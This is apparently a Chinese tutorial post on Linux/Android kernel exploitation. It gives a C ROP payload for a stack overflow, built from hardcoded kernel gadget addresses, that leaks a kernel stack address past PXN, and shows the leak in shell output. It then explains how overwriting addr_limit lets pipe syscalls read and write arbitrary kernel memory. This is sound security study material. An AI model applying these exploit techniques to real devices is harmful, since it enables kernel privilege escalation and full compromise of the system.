本文记一些利用方法
利用ROP泄露栈地址
之前说过,thread_info
结构体储存在栈中,那么怎么获取栈地址呢?这里讲一种方法。
PXN保护的全称是PrivilegedExecute-Never
,作用是内核态不能执行用户态的代码,也就是取消了用户代码段的可执行权限,但是仍然可读可写,我们可以利用ROP,把栈地址写入用户空间内,然后在用户空间读取该值,这里拿上一篇文章中栈溢出的进行举例,payload如下:
PS: 不过有个保护叫PAN(Privileged Access Never),可以去掉内核对用户态代码的读写权限,不过暂时没遇到,暂不做讨论
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| int trigger_vuln(int fd) {
#define MAX_PAYLOAD (MAX + 2 * sizeof(void*) + 0x68) void *map_addr_tmp= mmap((void*) 0x30303000, 0x10000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); memset(map_addr_tmp, 'D', 0x10000); char buf[MAX_PAYLOAD]; int i;
memset(buf, 'B', sizeof(buf)); int * pc = buf + MAX; *pc++ = 0xc00aeb44; *pc++ = 0xc003e1a4; *pc++ = 0x30303000; *pc++ = 0xc00aeb40; *pc++ = 0xc0071818; *pc++ = 0xc010c074; *pc++ = 0xc0071818; *pc++ = 0xc000f804; *pc++ = 0xc000e0b0; for (i=0; i < 19; i++) { *pc++ = 0xc000e0b0; } printf("%p\n", *(int *)map_addr_tmp); write(fd, buf, sizeof(buf) ); printf("%p\n", *(int *)map_addr_tmp); return *(int *)map_addr_tmp; } --------------------------------shell----------------------------- $ /data/local/tmp/wsp_test 0x44444444 0xc2031f40
|
通过修改addr_limit实现kernel任意读写
说到任意读写,我第一个想到的方法是:
1 2 3
| int address; scanf("%d", &address); printf("%p\n", (int *)address);
|
然后在手工通过gdb把addr_limit修改成0xffffffff
,但是却没有实现内核的任意读写。后面发现,我是进入了一个误区,该方法相当于使用了汇编指令:MOV result, [address]
,由CPU来控制该地址是否可读,所以在用户态是无法读取内核数据的,另外二进制程序现在都是虚拟地址,内核数据并没有被映射到二进制的虚拟地址中。
那么addr_limit
字段的作用是什么呢?虽然用户态无法读取内核数据,但是内核态是可以读取任意地址的数据的,所以addr_limit
是用来限制内核态中的读取。比如下面代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| int address; int pipefd[2];
int res = pipe(pipefd); if (res < 0) { printf("err %d\n", res); } scanf("%d", &address); int len = write(pipefd[1], address, 4); printf("read %p len: %d\n", address, len); char result[4]; read(pipefd[0], result, 4); printf("result: %p\n", result);
|
pipe使用的是系统调用sys_pipe
,是在内核中进行读写操作,通过addr_limit
来判断相应地址是否可读,默认情况下addr_limit=0xbf000000
,正常程序只能读取地址小于该值的地址上的数据。如果我们把该值修改成0xffffffff
,那么我们就能利用pipe进行内核任意地址的读写操作。